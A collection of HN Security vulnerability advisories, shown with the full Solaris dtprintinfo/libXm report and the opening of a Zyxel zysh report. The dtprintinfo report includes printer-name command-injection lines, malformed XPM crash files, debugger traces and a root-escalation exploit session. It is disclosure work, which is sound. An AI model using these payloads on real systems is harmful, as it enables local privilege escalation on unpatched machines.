├── HNS-2022-01-dtprintinfo.txt ├── HNS-2022-02-zyxel-zysh.txt ├── HNS-2023-03-zephyr.txt ├── HNS-2023-04-tinydir.txt ├── HNS-2024-05-rt-thread.txt ├── HNS-2024-06-threadx.txt ├── HNS-2024-07-riot.txt ├── HNS-2024-08-Keycloak.md ├── HNS-2024-09-Keycloak.md ├── HNS-2025-10-zyxel-fermion.txt ├── LICENSE └── README.md /HNS-2022-01-dtprintinfo.txt: -------------------------------------------------------------------------------- 1 | --[ HNS-2022-01 - HN Security Advisory - https://security.humanativaspa.it/ 2 | 3 | * Title: Multiple vulnerabilities in Solaris dtprintinfo and libXm/libXpm 4 | * Products: Common Desktop Environment 1.6, Motif 2.1, X.Org libXpm < 3.5.15 5 | * OS: Oracle Solaris 10 (CPU January 2021) 6 | * Author: Marco Ivaldi 7 | * Date: 2023-01-18 8 | * Last update: 2023-01-21 9 | * Oracle vulnerability tracking numbers: 10 | * S1597707 - Arbitrary printer name injection 11 | * S1597724 - Heap memory disclosure via long printer names 12 | * S1597711 - Memory corruption via malformed icon files 13 | * S1597730 - Stack-based buffer overflow in libXm ParseColors 14 | * CVE IDs: 15 | * CVE-2022-46285 - Infinite loop on unclosed comments in X.Org libXpm 16 | * CVE-2023-24039 - Stack-based buffer overflow in libXm ParseColors 17 | * CVE-2023-24040 - Printer name injection and heap memory disclosure 18 | * Advisory URLs: 19 | * https://github.com/hnsecurity/vulns/blob/main/HNS-2022-01-dtprintinfo.txt 20 | * https://lists.x.org/archives/xorg-announce/2023-January/003312.html 21 | * https://lists.x.org/archives/xorg-announce/2023-January/003313.html 22 | * Exploit URLs: 23 | * https://github.com/0xdea/exploits/blob/master/solaris/raptor_dtprintlibXmas.c 24 | 25 | 26 | --[ 0 - Table of contents 27 | 28 | 1 - Summary 29 | 2 - Vulnerabilities 30 | 2.1 - Arbitrary printer name injection 31 | 2.2 - Heap memory disclosure via long printer names 32 | 2.3 - Memory corruption via malformed icon files 33 | 2.4 - Stack-based buffer overflow in libXm ParseColors() 34 | 3 - Analysis 35 | 3.1 - Printer name injection and heap memory disclosure 36 | 3.2 - Memory corruption via malformed icon files 37 | 4 - Exploitation 38 | 5 - Affected products 39 | 6 - Remediation 40 | 7 - Disclosure timeline 41 | 8 - References 42 | 43 | 44 | --[ 1 - Summary 45 | 46 | "What has been will be again, 47 | what has been done will be done again; 48 | there is nothing new under the Sun." 49 | -- Ecclesiastes 1:9 50 | 51 | We have identified multiple security vulnerabilities that are exploitable 52 | via the the setuid-root dtprintinfo binary from the Common Desktop 53 | Environment (CDE) distributed with Oracle Solaris 10 (CPU January 2021): 54 | 55 | * A bug in the parser of the lpstat external command invoked by dtprintinfo 56 | to list the names of available printers allows low-privileged local users 57 | to inject arbitrary printer names via the $HOME/.printers file. 58 | 59 | * Printer name injection allows low-privileged local users to manipulate 60 | the control flow of the target program and disclose memory contents. 61 | Based on our analysis, this bug does not seem to be directly exploitable 62 | to achieve arbitrary code execution. However, we recommend treating it as 63 | a potential security vulnerability and fix it as such. 64 | 65 | * The ability to inject arbitrary printer names opens other attack vectors 66 | that otherwise would not be available on systems without configured 67 | printers. As an example, we discovered multiple icon parsing bugs in the 68 | Motif library libXm that cause memory corruption. 69 | 70 | We demonstrated the possibility to exploit one of these memory corruption 71 | bugs, a stack-based buffer overflow in the ParseColors() function of libXm, 72 | to achieve local privilege escalation to root on Solaris 10. 73 | 74 | 75 | --[ 2 - Vulnerabilities 76 | 77 | Following our last CDE vulnerability disclosures [1], Oracle kindly shared 78 | with us a copy of their then current Solaris 10 security patch set (CPU 79 | January 2021), so that we could install it in our lab and verify the fixes 80 | for the bugs we had reported. 81 | 82 | In addition to verifying these fixes, we decided to take a closer look at 83 | the dtprintinfo program distributed with CDE, because of its complexity and 84 | its impressive historical record of high-impact vulnerabilities [2]. These 85 | are the results of our research. 86 | 87 | 88 | --[ 2.1 - Arbitrary printer name injection 89 | 90 | After fruitlessly spending a few days reversing and auditing the patched 91 | version of dtprintinfo, we came up with the idea of using the poor man's 92 | fuzzer below to quickly check for the presence of flaws in the parsing of 93 | the $HOME/.printers file: 94 | 95 | bash-3.2$ cat /dev/urandom > ~/.printers 96 | ^C 97 | 98 | Indeed, this led to immediate results. It turns out that it is possible to 99 | inject fake printers to be displayed by dtprintinfo. To do so, we need to 100 | craft a .printers file that contains at least one line in the following 101 | format: 102 | 103 | :<\n> 104 | 105 | Where can be any string, including most special characters, and 106 | can either be a space (0x20) or a tab (0x09) character. For 107 | instance, the following line will inject a fake printer named "FOO": 108 | 109 | FOO : 110 | 111 | Since dtprintinfo uses printer names as arguments for some external 112 | commands that it invokes, it is possible to abuse this flaw to inject 113 | arbitrary commands. For instance, to execute an injected command when we 114 | double-click on a printer icon in the X11 GUI, we can craft a .printers 115 | file that contains lines such as the following (space and tab characters 116 | cannot be used in the injected command string for obvious reasons): 117 | 118 | FOO;/usr/bin/id>/tmp/pwned; : 119 | BAR;/usr/bin/cat ~/.printers 147 | bash-3.2$ ln ~/.printers ~/.printers.new 148 | 149 | Then, trace dtprintinfo's execution via a setuid-root truss program to log 150 | access to interesting memory addresses: 151 | 152 | bash-3.2$ export DISPLAY=:0 153 | bash-3.2$ truss -fae -u '*' -u a.out /usr/dt/bin/dtprintinfo -all 2> OUT 154 | 155 | At this point, in dtprintinfo's GUI: 156 | 157 | * Select "View" > "Select Printers to Show..." from the menu. 158 | * Select the injected printer to be shown. 159 | * Click on "Apply" and then click on "OK". 160 | * Select "Printers" > "Exit" from the menu, closing dtprintinfo. 161 | 162 | Now, examining the .printers file modified by dtprintinfo while it was 163 | running, we can notice that it contains non-printable characters, which are 164 | in fact leaked heap memory contents. For instance: 165 | 166 | bash-3.2$ od -x ~/.printers 167 | 0000000 615f 6c6c 5c20 460a 4f4f 413b 4141 4141 168 | 0000020 4141 4141 4141 4141 4141 4141 4141 4141 169 | * 170 | 0001000 4141 4141 4141 4141 4141 3b41 0a2c 4141 171 | 0001020 4141 4141 4141 4141 4141 4141 4141 4141 172 | * 173 | 0001400 4141 4141 4141 4141 4141 4141 4141 e948 174 | 0001420 0810 6938 0810 0409 410a 4141 4141 4141 175 | ^^^^^^^^^ << 0x08106938 176 | 0001440 4141 4141 2c3b 000a 177 | 0001447 178 | 179 | By observing the output of truss, we can find the example leaked memory 180 | address highlighted above: 181 | 182 | -> __0fJContainerLInnerWidgetv(0x8105ea8) 183 | <- __0fJContainerLInnerWidgetv() = 0x8106938 184 | ^^^^^^^^^ 185 | -> libXm:_XmManagerGetValuesHook(0x8106938, 0xfe6a1820, 0x8047840) 186 | ^^^^^^^^^ 187 | ... 188 | -> __0fHIconObjNCreateIconObjP6HMotifUIPcNCCPFPv_vPvNDCP6NIconFieldsRec(0x8106d60, 0x8105ea8, 0x8086c3f, 0x0) 189 | -> __0fHMotifUIKGetPixmapsP6K_WidgetRecPcPUlTD(0x8106d60, 0x8106938, 0xfe62bd00, 0x8106dd0) 190 | ^^^^^^^^^ 191 | 192 | By playing with different printer name lengths between 256 and 1024 bytes 193 | and/or clicking on "Apply" or "OK" multiple times, we can leak different 194 | heap memory contents. 195 | 196 | The "Set Default" button can be used to cause a similar .printers file 197 | corruption. In addition, instead of injecting a single long printer name, 198 | we can trigger the same bug by injecting a long list of regular printer 199 | names and selecting them to be shown in dtprintinfo's GUI. 200 | 201 | 202 | --[ 2.3 - Memory corruption via malformed icon files 203 | 204 | The ability to inject arbitrary printer names opens other attack vectors 205 | that otherwise would not be available on systems without configured 206 | printers. In fact, only privileged users can create or update printing 207 | configuration in /etc/printers.conf, usually via /usr/sbin/printmgr or 208 | /usr/bin/lpset. 209 | 210 | One such vector we thought that was worth exploring is the parsing of 211 | printer icons in the XPM format [3]. A low-privileged local user can supply 212 | his or her own icons for dtprintinfo to show by placing them in the 213 | $HOME/.dt/icons directory and selecting them in the X11 GUI. A bug in the 214 | XPM parser could easily lead to memory corruption and privilege escalation. 215 | To prove our point, we built a rudimentary mutation fuzzer written in 216 | Python and we unearthed a few icon parsing bugs in the libXm library 217 | (/usr/dt/lib/libXm.so.4) used by CDE, that was originally part of the Motif 218 | toolkit [4]. 219 | 220 | As a starter, the following malformed icon file with an unbalanced comment 221 | block will crash dtprintinfo: 222 | 223 | /* XPM */ 224 | static char * sample_xpm[] = { 225 | "15 19 6 1", 226 | " c None", 227 | ". c #FFFFFF", 228 | "+ c #000000", 229 | "@ c #99FFCC", 230 | "# c #66CCCC", 231 | "$ c #339966", 232 | /* CRASH 233 | ".+++++++++++++.", 234 | "+@@@@@@@@@@@@#+", 235 | "+@###########$+", 236 | "+@###....####$+", 237 | "+@##......###$+", 238 | "+@#...$$...##$+", 239 | "+@#..$$##..$#$+", 240 | "+@##$$##...$#$+", 241 | "+@#####...$$#$+", 242 | "+@####...$$##$+", 243 | "+@####..$$###$+", 244 | "+@####..$####$+", 245 | "+@#####$$####$+", 246 | "+@####..#####$+", 247 | "+@####..$####$+", 248 | "+@#####$$####$+", 249 | "+@###########$+", 250 | "+#$$$$$$$$$$$$+", 251 | ".+++++++++++++."}; 252 | 253 | To reproduce the crash, inject an arbitrary printer as described earlier 254 | and perform the following actions: 255 | 256 | * Craft the malformed XPM icon above in the following files in ~/.dt/icons: 257 | crash.l.pm 258 | crash.m.pm 259 | crash.t.pm 260 | * Launch dtprintinfo with proper command-line options (e.g., -all). 261 | * Select the injected printer, and click on "Selected" > "Properties...". 262 | * Click on "Find Set..." and choose "~/.dt/icons" from the drop-down menu. 263 | 264 | After a short while, dtprintinfo should segfault: 265 | 266 | Program terminated with signal 11, Segmentation fault. 267 | #0 0xfed322c8 in ParseComment () from /usr/dt/lib/libXm.so.4 268 | (gdb) x/i $pc 269 | 0xfed322c8 : mov (%edi),%ah 270 | (gdb) i r 271 | eax 0x8045bff 134503423 272 | ecx 0x80456f0 134502128 273 | edx 0xfe972be0 -23647264 274 | ebx 0xfee90000 -18284544 275 | esp 0x8024fbc 0x8024fbc 276 | ebp 0x8024fdc 0x8024fdc 277 | esi 0x7 7 278 | edi 0xfeffffff -16777217 279 | eip 0xfed322c8 0xfed322c8 280 | ... 281 | (gdb) bt 282 | #0 0xfed322c8 in ParseComment () from /usr/dt/lib/libXm.so.4 283 | #1 0xfed321dc in _XmxpmNextString () from /usr/dt/lib/libXm.so.4 284 | #2 0xfed3392a in ParsePixels () from /usr/dt/lib/libXm.so.4 285 | #3 0xfed32511 in _XmxpmParseData () from /usr/dt/lib/libXm.so.4 286 | #4 0xfed31e24 in _XmXpmReadFileToImage () from /usr/dt/lib/libXm.so.4 287 | #5 0xfef09ac1 in _DtXpmReadFileToImage () from /usr/dt/lib/libDtSvc.so.1 288 | #6 0xfef09b2b in _DtXpmReadFileToPixmap () from /usr/dt/lib/libDtSvc.so.1 289 | #7 0x08079969 in __0fHMotifUIKGetPixmapsP6K_WidgetRecPcPUlTD () 290 | #8 0x0807d872 in __0fHIconObjNCreateIconObjP6HMotifUIPcNCCPFPv_vPvNDCP6NIconFieldsRec () 291 | #9 0x0807d4b2 in __0oHIconObjctP6HMotifUIPcNECP6NIconFieldsRec () 292 | #10 0x08072c21 in __0fJDtFindSetKComboBoxCBP6LComboBoxObjPciT () 293 | #11 0x08075286 in __0fLComboBoxObjISelectCBP6K_WidgetRecPvTCT () 294 | ... 295 | 296 | At a glance, this does not look exploitable. A much better-looking crash 297 | can be triggered with the following malformed icon file: 298 | 299 | 00000000: 2f2a 2058 504d 202a 2f0a 7374 6174 6963 /* XPM */.static 300 | 00000010: 2063 6861 7220 2a78 6d61 6e5b 5d20 3d20 char *xman[] = 301 | 00000020: 7b0a 2f2a 2077 6964 7468 2068 6569 6768 {./* width heigh 302 | 00000030: 7420 6e63 6f6c 6f72 7320 6368 6172 735f t ncolors chars_ 303 | 00000040: 7065 725f 7069 7865 6c20 2a2f 0a22 3820 per_pixel */."8 304 | 00000050: 3820 3320 3122 2c0a 2f2a 2063 6f6c 6f72 8 3 1",./* color 305 | 00000060: 7320 2a2f 0a22 6520 6734 2062 6c61 636b s */."e g4 black 306 | 00000070: 2063 2070 616c 6520 7475 7271 756f 6973 c pale turquois 307 | 00000080: 6520 3422 2c0a 22fe 206d 2077 6869 7465 e 4",.". m white 308 | ^^ << this 0xfe byte triggers the crash 309 | 00000090: 2063 206c 6967 6874 2067 6f6c 6465 6e20 c light golden 310 | 000000a0: 726f 6420 7965 6c6c 6f77 2067 3420 6772 rod yellow g4 gr 311 | 000000b0: 6579 222c 0a22 6720 6720 7768 6974 6520 ey",."g g white 312 | 000000c0: 6320 6c65 6d6f 6e20 6368 6966 666f 6e20 c lemon chiffon 313 | 000000d0: 6d20 626c 6163 6b22 2c0a 2f2a 2070 6978 m black",./* pix 314 | 000000e0: 656c 7320 2a2f 0a22 6565 6565 6565 6565 els */."eeeeeeee 315 | 000000f0: 222c 0a22 6666 6666 6666 6666 222c 0a22 ",."ffffffff",." 316 | 00000100: 6767 6767 6767 6767 222c 0a22 6767 6767 gggggggg",."gggg 317 | 00000110: 6767 6767 220a 7d3b 0a gggg".};. 318 | 319 | Program terminated with signal 11, Segmentation fault. 320 | #0 0x027efed3 in ?? () 321 | (gdb) i r 322 | eax 0xfe634c80 -27046784 323 | ecx 0x3 3 324 | edx 0x0 0 325 | ebx 0xfee90002 -18284542 326 | esp 0x8045668 0x8045668 327 | ebp 0x80456d0 0x80456d0 328 | esi 0x80460d0 134504656 329 | edi 0x80456f0 134502128 330 | eip 0x27efed3 0x27efed3 331 | ... 332 | #0 0x027efed3 in ?? () 333 | #1 0xfed3266a in _XmxpmParseData () from /usr/dt/lib/libXm.so.4 334 | #2 0xfed31e24 in _XmXpmReadFileToImage () from /usr/dt/lib/libXm.so.4 335 | #3 0xfef09ac1 in _DtXpmReadFileToImage () from /usr/dt/lib/libDtSvc.so.1 336 | #4 0xfef09b2b in _DtXpmReadFileToPixmap () from /usr/dt/lib/libDtSvc.so.1 337 | #5 0x08079969 in __0fHMotifUIKGetPixmapsP6K_WidgetRecPcPUlTD () 338 | #6 0x0807d872 in __0fHIconObjNCreateIconObjP6HMotifUIPcNCCPFPv_vPvNDCP6NIconFieldsRec () 339 | #7 0x0807d4b2 in __0oHIconObjctP6HMotifUIPcNECP6NIconFieldsRec () 340 | #8 0x08072c21 in __0fJDtFindSetKComboBoxCBP6LComboBoxObjPciT () 341 | #9 0x08075286 in __0fLComboBoxObjISelectCBP6K_WidgetRecPvTCT () 342 | 343 | It looks like we have at least partial control over the eip register! A 344 | promising crash indeed... An interesting variation that can help shed light 345 | on the reasons of this crash can be obtained by replacing the 0xfe byte 346 | with 0xff: 347 | 348 | Program terminated with signal 11, Segmentation fault. 349 | #0 0xfed20268 in _XmxpmFreeColorTable@plt () from /usr/dt/lib/libXm.so.4 350 | (gdb) x/i $pc 351 | 0xfed20268 <_XmxpmFreeColorTable@plt>: jmp *0x19ec(%ebx) 352 | (gdb) i r 353 | eax 0xfe62d680 -27076992 354 | ecx 0x3 3 355 | edx 0x0 0 356 | ebx 0x20000 131072 357 | esp 0x8045668 0x8045668 358 | ebp 0x80456d0 0x80456d0 359 | esi 0x80460d0 134504656 360 | edi 0x80456f0 134502128 361 | eip 0xfed20268 0xfed20268 <_XmxpmFreeColorTable@plt> 362 | ... 363 | #0 0xfed20268 in _XmxpmFreeColorTable@plt () from /usr/dt/lib/libXm.so.4 364 | #1 0xfed3266a in _XmxpmParseData () from /usr/dt/lib/libXm.so.4 365 | #2 0xfed31e24 in _XmXpmReadFileToImage () from /usr/dt/lib/libXm.so.4 366 | #3 0xfeef9ac1 in _DtXpmReadFileToImage () from /usr/dt/lib/libDtSvc.so.1 367 | #4 0xfeef9b2b in _DtXpmReadFileToPixmap () from /usr/dt/lib/libDtSvc.so.1 368 | #5 0x08079969 in __0fHMotifUIKGetPixmapsP6K_WidgetRecPcPUlTD () 369 | #6 0x0807d872 in __0fHIconObjNCreateIconObjP6HMotifUIPcNCCPFPv_vPvNDCP6NIconFieldsRec () 370 | #7 0x0807d4b2 in __0oHIconObjctP6HMotifUIPcNECP6NIconFieldsRec () 371 | #8 0x08072c21 in __0fJDtFindSetKComboBoxCBP6LComboBoxObjPciT () 372 | #9 0x08075286 in __0fLComboBoxObjISelectCBP6K_WidgetRecPvTCT () 373 | 374 | Based on our quick analysis, ebx gets corrupted in ParsePixels() and then 375 | its value is used to calculate a jump location by code in the .plt section. 376 | We have not deeply investigated these instances of memory corruption and we 377 | have not seriously fuzzed libXm's XPM parser. We would like to leave 378 | further exploration of this attack vector, as well as any vulnerabilities 379 | in other libraries used by dtprintinfo, as an exercise for you, dear 380 | readers. ;) 381 | 382 | 383 | --[ 2.4 - Stack-based buffer overflow in libXm ParseColors() 384 | 385 | After our brief but intense artisanal fuzzing experience, before giving up 386 | on dtprintinfo and going for some fancier target, it was time to go back to 387 | static analysis for a short while, specifically targeting the apparently 388 | weak libXm library. 389 | 390 | We fired up our Rhabdomancer Ghidra script [5] to quickly find locations in 391 | the library where unsafe API functions are called, using them as starting 392 | points for our binary audit. Among some interesting candidate points, the 393 | following one stood up, in the familiar ParseColors() function that we had 394 | already encountered while analyzing the crashes produced by our XPM fuzzer: 395 | 396 | int ParseColors(int *data, uint ncolors, uint cpp, undefined4 397 | *colorTablePtr, undefined4 hashtable) 398 | { 399 | ... 400 | char local_83c[1024]; 401 | char local_43c[1024]; 402 | ... 403 | local_c = _XmxpmNextWord(local_34, local_83c, 0x400); 404 | ... 405 | local_83c[local_c] = '\0'; 406 | strcat(local_43c, local_83c); /* VULN */ 407 | } 408 | 409 | A perfect specimen of stack-based buffer overflow! We have found yet 410 | another memory corruption bug in the parsing of printer icons in the XPM 411 | format. This one has a high likelihood of being exploitable to achieve 412 | arbitrary code execution and local privilege escalation. 413 | 414 | 415 | --[ 3 - Analysis 416 | 417 | Let's briefly analyze what causes the identified vulnerabilities. 418 | 419 | 420 | --[ 3.1 - Printer name injection and heap memory disclosure 421 | 422 | The arbitrary printer name injection and heap memory disclosure bugs have 423 | the following root causes: 424 | 425 | * The /usr/bin/lpstat external command invoked by dtprintinfo to list the 426 | names of available printers has a flawed parser, which allows 427 | low-privileged local users to inject arbitrary printer names in the 428 | user-controllable $HOME/.printers file: 429 | 430 | bash-3.2$ cat ~/.printers 431 | FOO;AAA; : 432 | bash-3.2$ lpstat -v 433 | system for FOO;AAA;: (null) (as lpd://(null)/printers/) 434 | 435 | From our point of view, this in itself is not a big deal. Since lpstat is 436 | executed after dropping privileges, we could in theory inject our own 437 | code into this process anyway and control its behavior. For this reason, 438 | we have not investigated lpstat any further. The real problem here is 439 | architectural: dtprintinfo's functionality should be self-contained and 440 | should not depend on external programs. This is not a robust design and 441 | has led to more impactful vulnerabilities in the past [6]. 442 | 443 | * The dtprintinfo program blindly trusts the output of lpstat without 444 | validating it. This allows low-privileged local users to craft 445 | potentially dangerous inputs (such as printer names that are expected to 446 | be in a consistent format), thus altering its behavior. 447 | 448 | * Finally, the DtConfigPrinters::UpdateMainPrtList() method called by the 449 | DtConfigPrinters::ApplyCB() and DtConfigPrinters::OkCB() callback 450 | methods, when updating the .printers file, writes some additional bytes 451 | after the actual printer names, thus corrupting the file contents. This 452 | is caused by the fact that the DtConfigPrinters::readContinuedLine() 453 | method called by DtConfigPrinters::UpdateMainPrtList() does not terminate 454 | the returned buffer if it reads a line longer than 256 bytes that does 455 | not contain a '\n' character. This non-terminated, heap-allocated buffer 456 | is later passed to fprintf(), which then writes some characters that 457 | reside past the logical end of the buffer to the .printers file, until a 458 | NUL byte is found. This is how we get the observed memory disclosure. 459 | 460 | Based on our analysis, the described memory disclosure bug does not seem to 461 | be directly exploitable to achieve arbitrary code execution and local 462 | privilege escalation. However, as usual, feel free to prove us wrong! All 463 | considered, we recommend treating this bug as a potential security 464 | vulnerability and fixing it as such. 465 | 466 | 467 | --[ 3.2 - Memory corruption via malformed icon files 468 | 469 | The stack-based buffer overflow in the ParseColors() function of libXm is 470 | caused by the unchecked use of the unsafe API function strcat(). This 471 | vulnerability can be triggered via a specially crafted XPM icon with long 472 | color strings. 473 | 474 | We have not spent much time analyzing the root causes of the crashes 475 | reported by our XPM fuzzer. We recommend extensively auditing and fuzzing 476 | libXm and the other libraries distributed with CDE that are used by 477 | privileged programs. A quick manual audit and a few runs of our rudimentary 478 | mutation fuzzer were enough to discover some shallow and dangerous memory 479 | corruption bugs in the XPM parser. We expect more bugs to be present in 480 | such ancient code. 481 | 482 | 483 | --[ 4 - Exploitation 484 | 485 | We have created a proof-of-concept exploit [7] that chains together the 486 | printer name injection bug and the stack-based buffer overflow we have 487 | identified in libXm. It allows a low-privileged local user to escalate his 488 | or her privileges to those of the root user on Intel-based Solaris 10 489 | systems with the latest patches installed (tested on CPU January 2021). 490 | 491 | The exploit code is extensively commented and should be self-explanatory. 492 | An example attack session follows: 493 | 494 | $ uname -a 495 | SunOS nostalgia 5.10 Generic_153154-01 i86pc i386 i86pc 496 | $ id 497 | uid=54322(raptor) gid=1(other) 498 | $ gcc raptor_dtprintlibXmas.c -o raptor_dtprintlibXmas -Wall 499 | $ ./raptor_dtprintlibXmas 10.0.0.109:0 500 | raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPE 501 | Copyright (c) 2023 Marco Ivaldi 502 | 503 | Using SI_PLATFORM : i86pc (5.10) 504 | Using stack base : 0x8047fff 505 | Using safe address : 0x8045790 506 | Using rwx_mem address : 0xfeffa004 507 | Using sc address : 0x8047fac 508 | Using sprintf() address : 0xfefd1250 509 | Path of target binary : /usr/dt/bin/dtprintinfo 510 | 511 | # id 512 | uid=0(root) gid=1(other) 513 | 514 | Our exploit uses dtprintinfo as an attack vector to abuse one of the 515 | vulnerabilities we discovered in libXm and escalate privileges to root. 516 | Other vectors are potentially available to local and remote attackers, such 517 | as other setuid or setgid binaries, daemons, and client applications that 518 | use of the vulnerable library. As an example, the dticon application has 519 | been confirmed to be affected by our stack-based buffer overflow. 520 | 521 | 522 | --[ 5 - Affected products 523 | 524 | The Common Desktop Environment 1.6 and Motif 2.1 distributed with Oracle 525 | Solaris 10 are affected by the vulnerabilities discussed in this advisory. 526 | All tests were conducted on the following Solaris 10 system, patched with 527 | CPU January 2021: 528 | 529 | bash-3.2$ showrev -a 530 | Hostname: nostalgia 531 | Hostid: 367f0939 532 | Release: 5.10 533 | Kernel architecture: i86pc 534 | Application architecture: i386 535 | Kernel version: SunOS 5.10 Generic_153154-01 536 | OpenWindows version: Solaris X11 Version 6.6.2 14 August 2019 537 | ... 538 | 539 | Solaris 10 for the SPARC architecture and older versions of the Solaris 540 | operating system are also likely vulnerable. 541 | 542 | Oracle Solaris 11.4 does not ship CDE or Motif by default. In addition, in 543 | the xpmParseColors() function of the libXpm library shipped with Solaris 544 | 11.4, calls to the unsafe strcat() API function were replaced with calls to 545 | strlcat(), which if used properly prevents buffer overflows. Solaris 11.4 546 | in its default configuration and libXpm are only affected by the first 547 | crash we identified, caused by an unbalanced comment block. Please note 548 | that we have not conducted an audit on libXpm, which may contain other 549 | bugs. 550 | 551 | CDE 2.5.1 [8] is the latest version (at the time of this writing) of the 552 | open-source fork of the Common Desktop Environment. Following our previous 553 | vulnerability disclosures, their dtprintinfo binary is not installed 554 | setuid-root anymore. Therefore, CDE 2.5.1 is not directly affected by the 555 | vulnerabilities discussed in this advisory. Please note that we have not 556 | conducted an audit on the open-source CDE's codebase, which may contain 557 | other bugs. 558 | 559 | Motif 2.3.8 [9] is the latest version (at the time of this writing) of the 560 | open-source Motif project that includes the libXm library. In the 561 | xpmParseColors() function, calls to the unsafe strcat() API function were 562 | replaced with calls to the STRLCAT() macro, which if used properly prevents 563 | buffer overflows. Therefore, Motif 2.3.8 is not affected by the 564 | vulnerabilities discussed in this advisory. Please note that we have not 565 | conducted an audit on Motif's codebase, which may contain other bugs. 566 | 567 | 568 | --[ 6 - Remediation 569 | 570 | Oracle assigned the following tracking numbers to our vulnerability 571 | reports: 572 | 573 | * S1597707 - Arbitrary printer name injection 574 | * S1597724 - Heap memory disclosure via long printer names 575 | * S1597711 - Memory corruption via malformed icon files 576 | * S1597730 - Stack-based buffer overflow in libXm ParseColors 577 | 578 | No fixes have been issued for Solaris 10. See the disclosure timeline below 579 | for further details. 580 | 581 | As a partial workaround, it is possible to remove the setuid bit from the 582 | dtprintinfo binary as follows (note that this might prevent it from working 583 | properly): 584 | 585 | bash-3.2# chmod -s /usr/dt/bin/dtprintinfo 586 | 587 | 588 | --[ 7 - Disclosure timeline 589 | 590 | 2022-01-18: Oracle was notified via . 591 | 2022-01-19: Oracle acknowledged our vulnerability reports. 592 | 2022-04-20: Asked Oracle to provide an update on the patch release date. 593 | 2022-04-21: Oracle replied they could not comment on the patch release 594 | date. 595 | 2022-09-03: Asked Oracle for an update and informed them of our plan to 596 | publish a detailed advisory and a blog post before the end of 597 | 2022. 598 | 2022-09-12: Oracle replied they are working on the bugs and will be able to 599 | give an update closer to the next CPU, scheduled for October. 600 | 2022-10-18: Oracle informed us that the vulnerabilities will be fixed in 601 | their CPU of January 2023. 602 | 2022-12-20: With a surprise move, Oracle informed us that Solaris 10 603 | desktop components have reached EOL and are no longer 604 | supported. Therefore, Oracle will not be releasing patches for 605 | bugs affecting Solaris 10. They will work with X.Org to get a 606 | fix and an advisory released upstream for the first crash we 607 | identified in libXm, which also affects X.Org libXpm. This 608 | denial of service bug will be fixed in Solaris 11.4. As a final 609 | note, it appears that the buffer overflows we discovered in 610 | ParsePixels() and ParseColors() were already reported by Chris 611 | Evans in 2004 and tracked as CVE-2004-0687 612 | (https://security.appspot.com/security/CESA-2004-003.txt). Due 613 | to an incomplete fix, they were not patched in Solaris 10 and 614 | have survived in the code for 19 years! Since no patches for 615 | Solaris 10 will be released, these issues have officially 616 | become #ForeverDay bugs. 617 | 2023-01-17: X.Org released libXpm 3.5.15, which fixes CVE-2022-46285 618 | (infinite loop on unclosed comments in X.Org libXpm). Oracle 619 | published their CPU January 2023, which unfortunately does not 620 | include fixes for our bugs that affect Solaris 10. 621 | 2023-01-18: Oracle informed us that Solaris 10 desktop components have 622 | reached EOL at the end of 2019. EOL is documented in support 623 | note 1400676.1, behind the paywall for Oracle's customers with 624 | current support contracts. HN Security published this advisory 625 | and a local privilege escalation exploit. 626 | 2023-01-20: Mitre has assigned CVE-2023-24039 to the buffer overflow in 627 | libXm and CVE-2023-24040 to the printer name injection and 628 | heap memory disclosure bugs. 629 | 630 | 631 | --[ 8 - References 632 | 633 | [1] https://github.com/0xdea/raptor_infiltrate20 634 | [2] https://www.exploit-db.com/search?q=dtprintinfo 635 | [3] https://www.xfree86.org/current/xpm.pdf 636 | [4] http://www.opengroup.org/desktop/motif.html 637 | [5] https://github.com/0xdea/ghidra-scripts/blob/main/Rhabdomancer.java 638 | [6] https://github.com/0xdea/raptor_infiltrate19 639 | [7] https://github.com/0xdea/exploits/blob/master/solaris/raptor_dtprintlibXmas.c 640 | [8] https://sourceforge.net/projects/cdesktopenv/ 641 | [9] https://sourceforge.net/projects/motif/ 642 | 643 | 644 | Copyright (c) 2023 Marco Ivaldi and Humanativa Group. All rights reserved. 645 | -------------------------------------------------------------------------------- /HNS-2022-02-zyxel-zysh.txt: -------------------------------------------------------------------------------- 1 | --[ HNS-2022-02 - HN Security Advisory - https://security.humanativaspa.it/ 2 | 3 | * Title: Multiple vulnerabilities in Zyxel zysh 4 | * Products: Zyxel firewalls, AP controllers, and APs 5 | * Author: Marco Ivaldi 6 | * Date: 2022-06-07 7 | * CVE Names and Vendor CVSS Scores: 8 | CVE-2022-26531: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H (6.1) 9 | CVE-2022-26532: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (7.8) 10 | * Advisory URLs: 11 | https://github.com/hnsecurity/vulns/blob/main/HNS-2022-02-zyxel-zysh.txt 12 | https://www.zyxel.com/support/multiple-vulnerabilities-of-firewalls-AP-controllers-and-APs.shtml 13 | 14 | 15 | --[ 0 - Table of contents 16 | 17 | 1 - Summary 18 | 2 - Background 19 | 3 - Vulnerabilities 20 | 4 - Analysis 21 | 4.1 - Buffer overflows in the "configure terminal > diagnostic" command 22 | 4.2 - Buffer overflow in the "debug" command 23 | 4.3 - Buffer overflow in the "ssh" command 24 | 4.4 - Format string bugs in the "extension" argument of some commands 25 | 4.5 - OS command injection in the "packet-trace" command 26 | 5 - Exploitation 27 | 5.1 - Buffer overflows 28 | 5.2 - Format string bugs 29 | 5.3 - OS command injection 30 | 6 - Affected products 31 | 7 - Remediation 32 | 8 - Disclosure timeline 33 | 9 - References 34 | 35 | 36 | --[ 1 - Summary 37 | 38 | "We live on a placid island of ignorance in the midst of black seas of 39 | infinity, and it was not meant that we should voyage far." 40 | -- H. P. Lovecraft, The Call of Cthulhu 41 | 42 | We have identified multiple security vulnerabilities in the zysh binary 43 | that implements the command-line interface (CLI) on a wide range of Zyxel 44 | products, including their security appliances such as those in the Unified 45 | Security Gateway (USG) product line: 46 | 47 | * Multiple stack-based buffer overflows in the code responsible for 48 | handling diagnostic tests ("configure terminal > diagnostic" command). 49 | * A stack-based buffer overflow in the "debug" command. 50 | * A stack-based buffer overflow in the "ssh" command. 51 | * Multiple format string bugs in the "extension" argument of the "ping", 52 | "ping6", "traceroute", "traceroute6", "nslookup", and "nslookup6" 53 | commands. 54 | * An OS command injection vulnerability in the "packet-trace" command. 55 | 56 | We demonstrated the possibility to exploit the format string bugs and the 57 | OS command injection vulnerability to escape the restricted shell 58 | environment and achieve arbitrary command execution on the underlying 59 | embedded Linux OS, respectively as regular user and as root. 60 | 61 | 62 | --[ 2 - Background 63 | 64 | The zysh binary is a restricted shell that implements the command-line 65 | 